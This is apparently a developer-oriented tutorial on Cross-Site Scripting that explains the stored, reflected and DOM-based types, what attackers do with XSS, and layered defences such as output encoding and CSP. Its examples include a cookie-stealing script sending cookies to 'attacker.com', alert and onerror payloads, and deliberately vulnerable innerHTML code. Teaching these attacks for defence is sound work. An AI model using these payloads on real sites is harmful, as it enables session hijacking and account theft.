Imagine you are building a comment feature.
Users can leave messages under a post. You save each comment in your database and display it back on the page. You test it with normal text. Everything works as expected.
Later, someone leaves a comment that contains JavaScript instead of plain text.
The page still loads normally, but the browser runs that code. Not because your server was hacked, but because the comment was displayed without proper handling.
That problem is called Cross-Site Scripting, or XSS.
In this guide, I will explain what XSS is, how it works, the different types, what attackers actually do with it, and how developers can prevent it in real projects.
What Is Cross-Site Scripting (XSS)?
Cross-Site Scripting is a web security problem that happens when a website allows user input turn into executable code. Instead of being treated as plain text, the input ends up being executed by the browser as JavaScript.
This happens because browsers trust websites, so if code comes from a page on your domain, the browser assumes it is allowed to run.
XSS takes advantage of that trust. It makes the website mix user input with real code, and the browser cannot tell the difference, so it runs the code.
A Simple Example:
Imagine a page that shows a welcome message:
Welcome, {{ name }}
You expect name to be something like “Alex” or “Sarah”.
But instead of a name, someone submits JavaScript.
When the page loads, the browser runs that JavaScript, because it came from your site and was treated like part of the page.
That is exactly how XSS works.
Important NOTE:
The victim does not need to perform any special action to be affected, such as
clicking a malicious link or entering credentials on a phishing page. In fact,
there is no warning that the attack is happening.
Any part of a website that takes user input and displays it back in the browser can be affected. This includes login pages, admin panels, profiles, comments, search results, and even error messages.
If your code displays user input in the browser, XSS is something you need to think about.
The Three Main Types of XSS
Not all XSS vulnerabilities behave the same way.
They all involve user input turning into executable JavaScript, but the location of the payload and how it reaches the browser can be very different. Understanding these differences makes XSS easier to recognize.
Most XSS issues fall into three main categories: stored XSS, reflected XSS, and DOM-based XSS.
Before I break them down one by one, here is a simple overview.
| Type | Where the payload lives | How it triggers |
|---|---|---|
| Stored XSS | Server or database | Loads automatically for every user |
| Reflected XSS | URL or request | Runs when a user clicks a malicious link |
| DOM-based XSS | Browser JavaScript | Happens entirely on the client side |
Each type has its own risks and common mistakes. Let’s go through them carefully.
-
Stored (Persistent) XSS
Stored XSS is the most dangerous type.
In this case, the malicious script is saved on the server, usually in a database. Once it is stored, the application keeps sending it back to users as part of a normal page.
This type of XSS happens in features where users are allowed to submit content that other people can see, such as blog comments, user profile fields, forum posts, support messages, and product reviews.
How It Happens
The problem starts with a simple assumption. A developer expects user input to be harmless text and stores it without handling it properly.
For example:
<div class="comment"> {{ userComment }} </div>If someone submits this as a comment:
<script>document.location='https://attacker.com?c='+document.cookie</script>That script is saved in the database just like any other comment.
Now the dangerous part begins.
Every time someone visits that page, the browser loads the comment and executes the script.
Why Stored XSS Is Dangerous
Stored XSS affects everyone who visits the page.
That includes regular users, moderators, and administrators. Because the malicious code lives inside your data, the attack continues until the content is found and removed.
This is why stored XSS is often linked to large-scale account takeovers and long-running security incidents.
-
Reflected XSS
Reflected XSS happens when a website takes something from the URL and shows it on the page without handling it safely.
The important thing to understand is this: nothing is saved. The problem only exists while the page is loading.
A very common example is a search feature.
Imagine a search page that shows what the user searched for:
You searched for: {{ query }}Normally,
queryis just a word or a phrase.But an attacker can change the URL and place JavaScript there instead:
For example:
https://example.com/search?q=<script>alert('XSS')</script>When someone clicks the link, the website takes the value from the URL and prints it on the page. Because the input was not handled safely, the browser runs it as JavaScript.
The script runs only for the person who clicked the link. Once the page is closed, the attack is gone.
Why Reflected XSS Matters
Reflected XSS is often used to trick users.
The link points to a real website with a real domain, which makes it easier to trust. This is why reflected XSS is commonly used in phishing attacks, especially against specific users.
It is still common in older applications and custom-built features where input handling was not designed carefully.
-
DOM-Based XSS
DOM-based XSS happens inside the browser, not on the server.
The website can be perfectly safe on the backend. The server can send a clean page. No malicious input is stored, and no dangerous code comes from the database.
The problem starts after the page loads, when the browser runs frontend JavaScript.
A Simple Way to Think About It
The server gives the browser a normal web page.
Later, the page’s own JavaScript says:
“Let me read something from the URL and put it on the page.”That “something” might come from several places:
-
The part after
#in the URL - Query parameters
- Values the user can control
If the JavaScript inserts that data into the page as HTML instead of text, the browser treats it as real code.
And then it runs.
Simple Example
The page contains JavaScript like this:
const message = location.hash.substring(1); document.getElementById("output").innerHTML = message;This code takes whatever comes after
#in the URL and displays it on the page.Now imagine the URL looks like this:
https://example.com/#<img src=x onerror=alert('XSS')>The browser loads the page normally, JavaScript reads the value after
#, inserts it usinginnerHTML, and executes it.No server bug. No database issue. The attack happens entirely in the browser.
Why DOM-Based XSS Is Easy to Miss
DOM-based XSS is tricky because the server never sees the attack.
Backend validation does not help here, because the dangerous part happens later, in frontend code.
This is very common in modern websites that use a lot of JavaScript, especially single-page applications.
That is why frontend code needs the same security attention as backend code.
A clean server response does not automatically mean the application is safe. -
The part after
What Can an Attacker Do with XSS?
XSS is often demonstrated with pop-up alerts, but real attackers are not interested in alerts. They care about access, control, and data.
When XSS exists, it allows an attacker to run JavaScript in a user’s browser while pretending to be your site. That opens the door to serious problems.
Stealing Session Cookies
One of the most common goals of XSS is stealing session cookies.
If your application uses cookies to keep users logged in, JavaScript running in the browser can often access those cookies.
If an attacker manages to obtain a valid session cookie, they do not need to know the user’s password. They simply reuse the session and become the user. This is called session hijacking.
This is especially dangerous because it bypasses many security controls. The login process is never touched, so rate limits, strong passwords, and even multi-factor authentication may not help.
In real systems, this often leads directly to account takeover, including admin and internal accounts.
Keylogging and Data Capture
XSS can also be used to silently capture what users type.
A malicious script can attach event listeners to input fields and capture keystrokes as they are typed. From the user’s point of view, everything looks normal. Pages load as expected, forms work, and there are no warnings.
In the background, sensitive information can be collected, including passwords, payment details, API keys, and internal admin data.
Because the script runs inside the trusted site, users have no easy way to notice that anything is wrong.
Phishing Inside Your Own Site
Another common use of XSS is phishing that happens entirely within your application.
Instead of sending users to an external fake website, attackers can modify your real pages. They can inject fake login forms, replace buttons, change links, or redirect users to look-alike pages at the right moment.
The user still sees your domain in the address bar. The page looks familiar. There is no obvious reason to suspect a scam. That trust is what makes XSS so dangerous.
How to Prevent XSS (The Most Important Part)
There is no setting or option you can turn on that magically makes XSS disappear.
XSS prevention works best in layers. If one defense fails, another one should still protect the user. This matters even more in real projects, where deadlines are tight and small mistakes can happen.
Let’s walk through the most effective defenses, starting with the most important one.
1. Output Encoding (Your First Line of Defense)
Output encoding is the most reliable way to prevent XSS.
The idea is simple. Any input that comes from a user should be treated as data, not as code. Output encoding makes sure the browser displays the input as plain text instead of trying to execute it as JavaScript.
Here is a common mistake:
<div>{{ username }}</div>
If username contains JavaScript, the browser may execute it.
A safer approach looks like this:
<div>{{ escape(username) }}</div>
After encoding, dangerous characters are converted into harmless text:
<script>alert('XSS')</script>
The browser shows it on the page instead of running it.
Please take note. Different places in a page need different types of encoding. Encoding for HTML content is not the same as encoding for HTML attributes, JavaScript blocks, or URLs.
This is why it is important to use trusted libraries and framework utilities instead of trying to handle encoding yourself. Getting this wrong is easy, even for experienced developers.
2. Input Validation (Reduce the Attack Surface)
Input validation helps, but it is not a replacement for output encoding.
The purpose of input validation is to control what your application allows from the start. By limiting what users can submit, you reduce the number of ways an attacker can abuse the feature.
Examples of simple and effective validation include:
-
Usernames should not contain characters like
<or> - Email fields should follow a valid email format
- Numeric fields should only accept numbers
A helpful way to think about this is balance.
Input validation sets the rules at the door.
Output encoding is the lock inside the room.
You need both. Relying on only one is not enough.
3. Avoid Dangerous DOM Methods
On the frontend, some JavaScript methods are common sources of XSS problems.
These methods make it easy to accidentally turn user input into executable code:
-
innerHTML -
document.write -
eval -
setTimeoutwith a string -
setIntervalwith a string
Whenever possible, you should use safer alternatives that treat input as text.
For example:
element.textContent = userInput;
Instead of:
element.innerHTML = userInput;
The difference is important. One displays text. The other can execute code.
Being careful with DOM manipulation is especially important in modern applications that rely heavily on client-side JavaScript.
4. Use a Content Security Policy (CSP)
A Content Security Policy acts as a safety net.
Even with good coding practices, small mistakes can still happen. CSP helps limit what the browser is allowed to execute if an XSS vulnerability exists.
Here is a simple example:
Content-Security-Policy: default-src 'self'; script-src 'self'
This tells the browser to only load resources from your own domain and to block inline scripts and unknown external sources.
CSP does not fix XSS bugs. The vulnerability is still there.
What CSP does is reduce the damage. It can stop injected scripts from running or from loading additional malicious code, making successful attacks much harder.
5. Frameworks Help, But They Are Not Magic
Modern frameworks like React, Vue, and Angular make XSS harder by default.
They automatically escape user input before displaying it on the page. This means that if a user submits something dangerous, the framework usually treats it as text instead of allowing it to run as code. Compared to older approaches, this removes many common XSS bugs.
However, this protection only works if you follow the framework’s rules.
You can still introduce XSS vulnerabilities if you force the framework to trust raw HTML, disable built-in protections, or trust third-party content without checking it. These issues often appear when developers try to move fast or take shortcuts.
Frameworks reduce the risk, but they do not make XSS impossible.
As a developer, you still need to understand where data comes from and how it ends up in the browser. The framework helps you, but the responsibility is still yours.
When thinking about XSS as a developer, one mindset helps more than any checklist.
Any data that comes from a user should be treated as untrusted, no matter how harmless it looks. The goal is not paranoia. The goal is control.
Every time you build a feature that displays user input, pause and ask one simple question:
What happens if this contains JavaScript?
If you think about that early, preventing XSS becomes part of your normal development flow, not an extra security task.
Final Thoughts
Cross-Site Scripting is not just a beginner mistake. It appears in real production systems, including large and well-maintained applications.
Most XSS bugs come from small decisions made during everyday development.
Once you understand how XSS works, preventing it becomes part of how you write code. No fear. No paranoia. Just good habits and awareness.
If you write code that runs in a browser, XSS is something worth understanding properly. With the right mindset and a few solid practices, it is a problem you can confidently avoid.
